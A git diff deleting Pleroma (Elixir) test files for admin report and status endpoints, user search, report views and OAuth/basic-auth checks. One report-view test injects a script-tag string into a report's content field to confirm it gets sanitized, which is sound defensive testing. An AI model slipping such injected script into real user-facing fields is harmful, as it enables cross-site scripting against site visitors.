- account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - response = - conn - |> get("/api/pleroma/admin/reports/#{report_id}") - |> json_response_and_validate_schema(:ok) - - assert response["id"] == report_id - end - - test "returns 404 when report id is invalid", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/reports/test") - - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} - end - end - - describe "PATCH /api/pleroma/admin/reports" do - setup do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, %{id: second_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel very offended", - status_ids: [activity.id] - }) - - %{ - id: report_id, - second_report_id: second_report_id - } - end - - test "requires admin:write:reports scope", %{conn: conn, id: id, admin: admin} do - read_token = insert(:oauth_token, user: admin, scopes: ["admin:read"]) - write_token = insert(:oauth_token, user: admin, scopes: ["admin:write:reports"]) - - response = - conn - |> assign(:token, read_token) - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [%{"state" => "resolved", "id" => id}] - }) - |> json_response_and_validate_schema(403) - - assert response == %{ - "error" => "Insufficient permissions: admin:write:reports." - } - - conn - |> assign(:token, write_token) - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [%{"state" => "resolved", "id" => id}] - }) - |> json_response_and_validate_schema(:no_content) - end - - test "mark report as resolved", %{conn: conn, id: id, admin: admin} do - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "resolved", "id" => id} - ] - }) - |> json_response_and_validate_schema(:no_content) - - activity = Activity.get_by_id(id) - assert activity.data["state"] == "resolved" - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated report ##{id} with 'resolved' state" - end - - test "closes report", %{conn: conn, id: id, admin: admin} do - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "closed", "id" => id} - ] - }) - |> json_response_and_validate_schema(:no_content) - - activity = Activity.get_by_id(id) - assert activity.data["state"] == "closed" - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated report ##{id} with 'closed' state" - end - - test "returns 400 when state is unknown", %{conn: conn, id: id} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "test", "id" => id} - ] - }) - - assert "Unsupported state" = - hd(json_response_and_validate_schema(conn, :bad_request))["error"] - end - - test "returns 404 when report is not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "closed", "id" => "test"} - ] - }) - - assert hd(json_response_and_validate_schema(conn, :bad_request))["error"] == "not_found" - end - - test "updates state of multiple reports", %{ - conn: conn, - id: id, - admin: admin, - second_report_id: second_report_id - } do - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/reports", %{ - "reports" => [ - %{"state" => "resolved", "id" => id}, - %{"state" => "closed", "id" => second_report_id} - ] - }) - |> json_response_and_validate_schema(:no_content) - - activity = Activity.get_by_id(id) - second_activity = Activity.get_by_id(second_report_id) - assert activity.data["state"] == "resolved" - assert second_activity.data["state"] == "closed" - - [first_log_entry, second_log_entry] = Repo.all(ModerationLog) - - assert ModerationLog.get_log_entry_message(first_log_entry) == - "@#{admin.nickname} updated report ##{id} with 'resolved' state" - - assert ModerationLog.get_log_entry_message(second_log_entry) == - "@#{admin.nickname} updated report ##{second_report_id} with 'closed' state" - end - end - - describe "GET /api/pleroma/admin/reports" do - test "returns empty response when no reports created", %{conn: conn} do - response = - conn - |> get(report_path(conn, :index)) - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response["reports"]) - assert response["total"] == 0 - end - - test "returns reports", %{conn: conn} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - response = - conn - |> get(report_path(conn, :index)) - |> json_response_and_validate_schema(:ok) - - [report] = response["reports"] - - assert length(response["reports"]) == 1 - assert report["id"] == report_id - - assert response["total"] == 1 - end - - test "returns reports with specified state", %{conn: conn} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: first_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, %{id: second_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I don't like this user" - }) - - CommonAPI.update_report_state(second_report_id, "closed") - - response = - conn - |> get(report_path(conn, :index, %{state: "open"})) - |> json_response_and_validate_schema(:ok) - - assert [open_report] = response["reports"] - - assert length(response["reports"]) == 1 - assert open_report["id"] == first_report_id - - assert response["total"] == 1 - - response = - conn - |> get(report_path(conn, :index, %{state: "closed"})) - |> json_response_and_validate_schema(:ok) - - assert [closed_report] = response["reports"] - - assert length(response["reports"]) == 1 - assert closed_report["id"] == second_report_id - - assert response["total"] == 1 - - assert %{"total" => 0, "reports" => []} == - conn - |> get(report_path(conn, :index, %{state: "resolved"})) - |> json_response_and_validate_schema(:ok) - end - - test "returns 403 when requested by a non-admin" do - user = insert(:user) - token = insert(:oauth_token, user: user) - - conn = - build_conn() - |> assign(:user, user) - |> assign(:token, token) - |> get("/api/pleroma/admin/reports") - - assert json_response(conn, :forbidden) == - %{"error" => "User is not an admin."} - end - - test "returns 403 when requested by anonymous" do - conn = get(build_conn(), "/api/pleroma/admin/reports") - - assert json_response(conn, :forbidden) == %{ - "error" => "Invalid credentials." - } - end - end - - describe "POST /api/pleroma/admin/reports/:id/notes" do - setup %{conn: conn, admin: admin} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ - content: "this is disgusting!" - }) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ - content: "this is disgusting2!" - }) - - %{ - admin_id: admin.id, - report_id: report_id - } - end - - test "it creates report note", %{admin_id: admin_id, report_id: report_id} do - assert [note, _] = Repo.all(ReportNote) - - assert %{ - activity_id: ^report_id, - content: "this is disgusting!", - user_id: ^admin_id - } = note - end - - test "it returns reports with notes", %{conn: conn, admin: admin} do - conn = get(conn, "/api/pleroma/admin/reports") - - response = json_response_and_validate_schema(conn, 200) - notes = hd(response["reports"])["notes"] - [note, _] = notes - - assert note["user"]["nickname"] == admin.nickname - assert note["content"] == "this is disgusting!" - assert note["created_at"] - assert response["total"] == 1 - end - - test "it deletes the note", %{conn: conn, report_id: report_id} do - assert ReportNote |> Repo.all() |> length() == 2 - assert [note, _] = Repo.all(ReportNote) - - delete(conn, "/api/pleroma/admin/reports/#{report_id}/notes/#{note.id}") - - assert ReportNote |> Repo.all() |> length() == 1 - end - end -end diff --git a/test/web/admin_api/controllers/status_controller_test.exs b/test/web/admin_api/controllers/status_controller_test.exs deleted file mode 100644 index eff78fb0a..000000000 --- a/test/web/admin_api/controllers/status_controller_test.exs +++ /dev/null @@ -1,202 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.StatusControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/statuses/:id" do - test "not found", %{conn: conn} do - assert conn - |> get("/api/pleroma/admin/statuses/not_found") - |> json_response_and_validate_schema(:not_found) - end - - test "shows activity", %{conn: conn} do - activity = insert(:note_activity) - - response = - conn - |> get("/api/pleroma/admin/statuses/#{activity.id}") - |> json_response_and_validate_schema(200) - - assert response["id"] == activity.id - - account = response["account"] - actor = User.get_by_ap_id(activity.actor) - - assert account["id"] == actor.id - assert account["nickname"] == actor.nickname - assert account["deactivated"] == actor.deactivated - assert account["confirmation_pending"] == actor.confirmation_pending - end - end - - describe "PUT /api/pleroma/admin/statuses/:id" do - setup do - activity = insert(:note_activity) - - %{id: activity.id} - end - - test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"}) - |> json_response_and_validate_schema(:ok) - - assert response["sensitive"] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated status ##{id}, set sensitive: 'true'" - - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"}) - |> json_response_and_validate_schema(:ok) - - refute response["sensitive"] - end - - test "change visibility flag", %{conn: conn, id: id, admin: admin} do - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "public"}) - |> json_response_and_validate_schema(:ok) - - assert response["visibility"] == "public" - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} updated status ##{id}, set visibility: 'public'" - - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "private"}) - |> json_response_and_validate_schema(:ok) - - assert response["visibility"] == "private" - - response = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "unlisted"}) - |> json_response_and_validate_schema(:ok) - - assert response["visibility"] == "unlisted" - end - - test "returns 400 when visibility is unknown", %{conn: conn, id: id} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "test"}) - - assert %{"error" => "test - Invalid value for enum."} = - json_response_and_validate_schema(conn, :bad_request) - end - end - - describe "DELETE /api/pleroma/admin/statuses/:id" do - setup do - activity = insert(:note_activity) - - %{id: activity.id} - end - - test "deletes status", %{conn: conn, id: id, admin: admin} do - conn - |> delete("/api/pleroma/admin/statuses/#{id}") - |> json_response_and_validate_schema(:ok) - - refute Activity.get_by_id(id) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted status ##{id}" - end - - test "returns 404 when the status does not exist", %{conn: conn} do - conn = delete(conn, "/api/pleroma/admin/statuses/test") - - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} - end - end - - describe "GET /api/pleroma/admin/statuses" do - test "returns all public and unlisted statuses", %{conn: conn, admin: admin} do - blocked = insert(:user) - user = insert(:user) - User.block(admin, blocked) - - {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) - - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - {:ok, _} = CommonAPI.post(blocked, %{status: ".", visibility: "public"}) - - response = - conn - |> get("/api/pleroma/admin/statuses") - |> json_response_and_validate_schema(200) - - refute "private" in Enum.map(response, & &1["visibility"]) - assert length(response) == 3 - end - - test "returns only local statuses with local_only on", %{conn: conn} do - user = insert(:user) - remote_user = insert(:user, local: false, nickname: "archaeme@archae.me") - insert(:note_activity, user: user, local: true) - insert(:note_activity, user: remote_user, local: false) - - response = - conn - |> get("/api/pleroma/admin/statuses?local_only=true") - |> json_response_and_validate_schema(200) - - assert length(response) == 1 - end - - test "returns private and direct statuses with godmode on", %{conn: conn, admin: admin} do - user = insert(:user) - - {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) - - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - conn = get(conn, "/api/pleroma/admin/statuses?godmode=true") - assert json_response_and_validate_schema(conn, 200) |> length() == 3 - end - end -end diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs deleted file mode 100644 index d88867c52..000000000 --- a/test/web/admin_api/search_test.exs +++ /dev/null @@ -1,190 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.SearchTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.AdminAPI.Search - - import Pleroma.Factory - - describe "search for admin" do - test "it ignores case" do - insert(:user, nickname: "papercoach") - insert(:user, nickname: "CanadaPaperCoach") - - {:ok, _results, count} = - Search.user(%{ - query: "paper", - local: false, - page: 1, - page_size: 50 - }) - - assert count == 2 - end - - test "it returns local/external users" do - insert(:user, local: true) - insert(:user, local: false) - insert(:user, local: false) - - {:ok, _results, local_count} = - Search.user(%{ - query: "", - local: true - }) - - {:ok, _results, external_count} = - Search.user(%{ - query: "", - external: true - }) - - assert local_count == 1 - assert external_count == 2 - end - - test "it returns active/deactivated users" do - insert(:user, deactivated: true) - insert(:user, deactivated: true) - insert(:user, deactivated: false) - - {:ok, _results, active_count} = - Search.user(%{ - query: "", - active: true - }) - - {:ok, _results, deactivated_count} = - Search.user(%{ - query: "", - deactivated: true - }) - - assert active_count == 1 - assert deactivated_count == 2 - end - - test "it returns specific user" do - insert(:user) - insert(:user) - user = insert(:user, nickname: "bob", local: true, deactivated: false) - - {:ok, _results, total_count} = Search.user(%{query: ""}) - - {:ok, [^user], count} = - Search.user(%{ - query: "Bo", - active: true, - local: true - }) - - assert total_count == 3 - assert count == 1 - end - - test "it returns user by domain" do - insert(:user) - insert(:user) - user = insert(:user, nickname: "some@domain.com") - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{query: "domain.com"}) - assert total == 3 - assert count == 1 - end - - test "it return user by full nickname" do - insert(:user) - insert(:user) - user = insert(:user, nickname: "some@domain.com") - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{query: "some@domain.com"}) - assert total == 3 - assert count == 1 - end - - test "it returns admin user" do - admin = insert(:user, is_admin: true) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^admin], count} = Search.user(%{is_admin: true}) - assert total == 3 - assert count == 1 - end - - test "it returns moderator user" do - moderator = insert(:user, is_moderator: true) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^moderator], count} = Search.user(%{is_moderator: true}) - assert total == 3 - assert count == 1 - end - - test "it returns users with tags" do - user1 = insert(:user, tags: ["first"]) - user2 = insert(:user, tags: ["second"]) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, users, count} = Search.user(%{tags: ["first", "second"]}) - assert total == 4 - assert count == 2 - assert user1 in users - assert user2 in users - end - - test "it returns user by display name" do - user = insert(:user, name: "Display name") - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{name: "display"}) - - assert total == 3 - assert count == 1 - end - - test "it returns user by email" do - user = insert(:user, email: "some@example.com") - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{email: "some@example.com"}) - - assert total == 3 - assert count == 1 - end - - test "it returns unapproved user" do - unapproved = insert(:user, approval_pending: true) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^unapproved], count} = Search.user(%{need_approval: true}) - assert total == 3 - assert count == 1 - end - - test "it returns non-discoverable users" do - insert(:user) - insert(:user, discoverable: false) - - {:ok, _results, total} = Search.user() - - assert total == 2 - end - end -end diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs deleted file mode 100644 index 5a02292be..000000000 --- a/test/web/admin_api/views/report_view_test.exs +++ /dev/null @@ -1,146 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ReportViewTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Web.AdminAPI - alias Pleroma.Web.AdminAPI.Report - alias Pleroma.Web.AdminAPI.ReportView - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI - alias Pleroma.Web.MastodonAPI.StatusView - - test "renders a report" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) - - expected = %{ - content: nil, - actor: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), - AdminAPI.AccountView.render("show.json", %{user: user}) - ), - account: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{ - user: other_user, - skip_visibility_check: true - }), - AdminAPI.AccountView.render("show.json", %{user: other_user}) - ), - statuses: [], - notes: [], - state: "open", - id: activity.id - } - - result = - ReportView.render("show.json", Report.extract_report_info(activity)) - |> Map.delete(:created_at) - - assert result == expected - end - - test "includes reported statuses" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "toot"}) - - {:ok, report_activity} = - CommonAPI.report(user, %{account_id: other_user.id, status_ids: [activity.id]}) - - other_user = Pleroma.User.get_by_id(other_user.id) - - expected = %{ - content: nil, - actor: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), - AdminAPI.AccountView.render("show.json", %{user: user}) - ), - account: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{ - user: other_user, - skip_visibility_check: true - }), - AdminAPI.AccountView.render("show.json", %{user: other_user}) - ), - statuses: [StatusView.render("show.json", %{activity: activity})], - state: "open", - notes: [], - id: report_activity.id - } - - result = - ReportView.render("show.json", Report.extract_report_info(report_activity)) - |> Map.delete(:created_at) - - assert result == expected - end - - test "renders report's state" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) - {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") - - assert %{state: "closed"} = - ReportView.render("show.json", Report.extract_report_info(activity)) - end - - test "renders report description" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.report(user, %{ - account_id: other_user.id, - comment: "posts are too good for this instance" - }) - - assert %{content: "posts are too good for this instance"} = - ReportView.render("show.json", Report.extract_report_info(activity)) - end - - test "sanitizes report description" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.report(user, %{ - account_id: other_user.id, - comment: "" - }) - - data = Map.put(activity.data, "content", "<script> alert('hecked :D:D:D:D:D:D:D') </script>") - activity = Map.put(activity, :data, data) - - refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" == - ReportView.render("show.json", Report.extract_report_info(activity))[:content] - end - - test "doesn't error out when the user doesn't exists" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.report(user, %{ - account_id: other_user.id, - comment: "" - }) - - Pleroma.User.delete(other_user) - Pleroma.User.invalidate_cache(other_user) - - assert %{} = ReportView.render("show.json", Report.extract_report_info(activity)) - end -end diff --git a/test/web/api_spec/schema_examples_test.exs b/test/web/api_spec/schema_examples_test.exs deleted file mode 100644 index f00e834fc..000000000 --- a/test/web/api_spec/schema_examples_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ApiSpec.SchemaExamplesTest do - use ExUnit.Case, async: true - import Pleroma.Tests.ApiSpecHelpers - - @content_type "application/json" - - for operation <- api_operations() do - describe operation.operationId <> " Request Body" do - if operation.requestBody do - @media_type operation.requestBody.content[@content_type] - @schema resolve_schema(@media_type.schema) - - if @media_type.example do - test "request body media type example matches schema" do - assert_schema(@media_type.example, @schema) - end - end - - if @schema.example do - test "request body schema example matches schema" do - assert_schema(@schema.example, @schema) - end - end - end - end - - for {status, response} <- operation.responses, is_map(response.content[@content_type]) do - describe "#{operation.operationId} - #{status} Response" do - @schema resolve_schema(response.content[@content_type].schema) - - if @schema.example do - test "example matches schema" do - assert_schema(@schema.example, @schema) - end - end - end - end - end -end diff --git a/test/web/auth/auth_test_controller_test.exs b/test/web/auth/auth_test_controller_test.exs deleted file mode 100644 index fed52b7f3..000000000 --- a/test/web/auth/auth_test_controller_test.exs +++ /dev/null @@ -1,242 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Tests.AuthTestControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - describe "do_oauth_check" do - test "serves with proper OAuth token (fulfilling requested scopes)" do - %{conn: good_token_conn, user: user} = oauth_access(["read"]) - - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/authenticated_api/do_oauth_check") - |> json_response(200) - - # Unintended usage (:api) — use with :authenticated_api instead - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/api/do_oauth_check") - |> json_response(200) - end - - test "fails on no token / missing scope(s)" do - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - bad_token_conn - |> get("/test/authenticated_api/do_oauth_check") - |> json_response(403) - - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/do_oauth_check") - |> json_response(403) - end - end - - describe "fallback_oauth_check" do - test "serves with proper OAuth token (fulfilling requested scopes)" do - %{conn: good_token_conn, user: user} = oauth_access(["read"]) - - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/api/fallback_oauth_check") - |> json_response(200) - - # Unintended usage (:authenticated_api) — use with :api instead - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/authenticated_api/fallback_oauth_check") - |> json_response(200) - end - - test "for :api on public instance, drops :user and renders on no token / missing scope(s)" do - clear_config([:instance, :public], true) - - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - assert %{"user_id" => nil} == - bad_token_conn - |> get("/test/api/fallback_oauth_check") - |> json_response(200) - - assert %{"user_id" => nil} == - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/fallback_oauth_check") - |> json_response(200) - end - - test "for :api on private instance, fails on no token / missing scope(s)" do - clear_config([:instance, :public], false) - - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - bad_token_conn - |> get("/test/api/fallback_oauth_check") - |> json_response(403) - - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/fallback_oauth_check") - |> json_response(403) - end - end - - describe "skip_oauth_check" do - test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do - user = insert(:user) - - assert %{"user_id" => user.id} == - build_conn() - |> assign(:user, user) - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(200) - - %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) - - assert %{"user_id" => user.id} == - bad_token_conn - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(200) - end - - test "serves via :api on public instance if :user is not set" do - clear_config([:instance, :public], true) - - assert %{"user_id" => nil} == - build_conn() - |> get("/test/api/skip_oauth_check") - |> json_response(200) - - build_conn() - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(403) - end - - test "fails on private instance if :user is not set" do - clear_config([:instance, :public], false) - - build_conn() - |> get("/test/api/skip_oauth_check") - |> json_response(403) - - build_conn() - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(403) - end - end - - describe "fallback_oauth_skip_publicity_check" do - test "serves with proper OAuth token (fulfilling requested scopes)" do - %{conn: good_token_conn, user: user} = oauth_access(["read"]) - - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/api/fallback_oauth_skip_publicity_check") - |> json_response(200) - - # Unintended usage (:authenticated_api) - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/authenticated_api/fallback_oauth_skip_publicity_check") - |> json_response(200) - end - - test "for :api on private / public instance, drops :user and renders on token issue" do - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - for is_public <- [true, false] do - clear_config([:instance, :public], is_public) - - assert %{"user_id" => nil} == - bad_token_conn - |> get("/test/api/fallback_oauth_skip_publicity_check") - |> json_response(200) - - assert %{"user_id" => nil} == - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/fallback_oauth_skip_publicity_check") - |> json_response(200) - end - end - end - - describe "skip_oauth_skip_publicity_check" do - test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do - user = insert(:user) - - assert %{"user_id" => user.id} == - build_conn() - |> assign(:user, user) - |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") - |> json_response(200) - - %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) - - assert %{"user_id" => user.id} == - bad_token_conn - |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") - |> json_response(200) - end - - test "for :api, serves on private and public instances regardless of whether :user is set" do - user = insert(:user) - - for is_public <- [true, false] do - clear_config([:instance, :public], is_public) - - assert %{"user_id" => nil} == - build_conn() - |> get("/test/api/skip_oauth_skip_publicity_check") - |> json_response(200) - - assert %{"user_id" => user.id} == - build_conn() - |> assign(:user, user) - |> get("/test/api/skip_oauth_skip_publicity_check") - |> json_response(200) - end - end - end - - describe "missing_oauth_check_definition" do - def test_missing_oauth_check_definition_failure(endpoint, expected_error) do - %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) - - assert %{"error" => expected_error} == - conn - |> get(endpoint) - |> json_response(403) - end - - test "fails if served via :authenticated_api" do - test_missing_oauth_check_definition_failure( - "/test/authenticated_api/missing_oauth_check_definition", - "Security violation: OAuth scopes check was neither handled nor explicitly skipped." - ) - end - - test "fails if served via :api and the instance is private" do - clear_config([:instance, :public], false) - - test_missing_oauth_check_definition_failure( - "/test/api/missing_oauth_check_definition", - "This resource requires authentication." - ) - end - - test "succeeds with dropped :user if served via :api on public instance" do - %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) - - assert %{"user_id" => nil} == - conn - |> get("/test/api/missing_oauth_check_definition") - |> json_response(200) - end - end -end diff --git a/test/web/auth/authenticator_test.exs b/test/web/auth/authenticator_test.exs deleted file mode 100644 index d54253343..000000000 --- a/test/web/auth/authenticator_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.AuthenticatorTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.Auth.Authenticator - import Pleroma.Factory - - describe "fetch_user/1" do - test "returns user by name" do - user = insert(:user) - assert Authenticator.fetch_user(user.nickname) == user - end - - test "returns user by email" do - user = insert(:user) - assert Authenticator.fetch_user(user.email) == user - end - - test "returns nil" do - assert Authenticator.fetch_user("email") == nil - end - end - - describe "fetch_credentials/1" do - test "returns name and password from authorization params" do - params = %{"authorization" => %{"name" => "test", "password" => "test-pass"}} - assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} - end - - test "returns name and password with grant_type 'password'" do - params = %{"grant_type" => "password", "username" => "test", "password" => "test-pass"} - assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} - end - - test "returns error" do - assert Authenticator.fetch_credentials(%{}) == {:error, :invalid_credentials} - end - end -end diff --git a/test/web/auth/basic_auth_test.exs b/test/web/auth/basic_auth_test.exs deleted file mode 100644 index bf6e3d2fc..000000000 --- a/test/web/auth/basic_auth_test.exs +++ /dev/null @@ -1,46 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.BasicAuthTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - test "with HTTP Basic Auth used, grants access to OAuth scope-restricted endpoints", %{ - conn: conn - } do - user = insert(:user) - assert Pbkdf2.verify_pass("test", user.password_hash) - - basic_auth_contents = - (URI.encode_www_form(user.nickname) <> ":" <> URI.encode_www_form("test")) - |> Base.encode64() - - # Succeeds with HTTP Basic Auth - response = - conn - |> put_req_header("authorization", "Basic " <> basic_auth_contents) - |> get("/api/v1/accounts/verify_credentials") - |> json_response(200) - - user_nickname = user.nickname - assert %{"username" => ^user_nickname} = response - - # Succeeds with a properly scoped OAuth token - valid_token = insert(:oauth_token, scopes: ["read:accounts"]) - - conn - |> put_req_header("authorization", "Bearer #{valid_token.token}") - |> get("/api/v1/accounts/verify_credentials") - |> json_response(200) - - # Fails with a wrong-scoped OAuth token (proof of restriction) - invalid_token = insert(:oauth_token, scopes: ["read:something"]) - - conn - |> put_req_header("authorization", "Bearer #{invalid_token.token}") - |> get("/api/v1/accounts/verify_credentials") - |> json_response(403) - end -end diff --git a/test/web/auth/pleroma_authenticator_test.exs 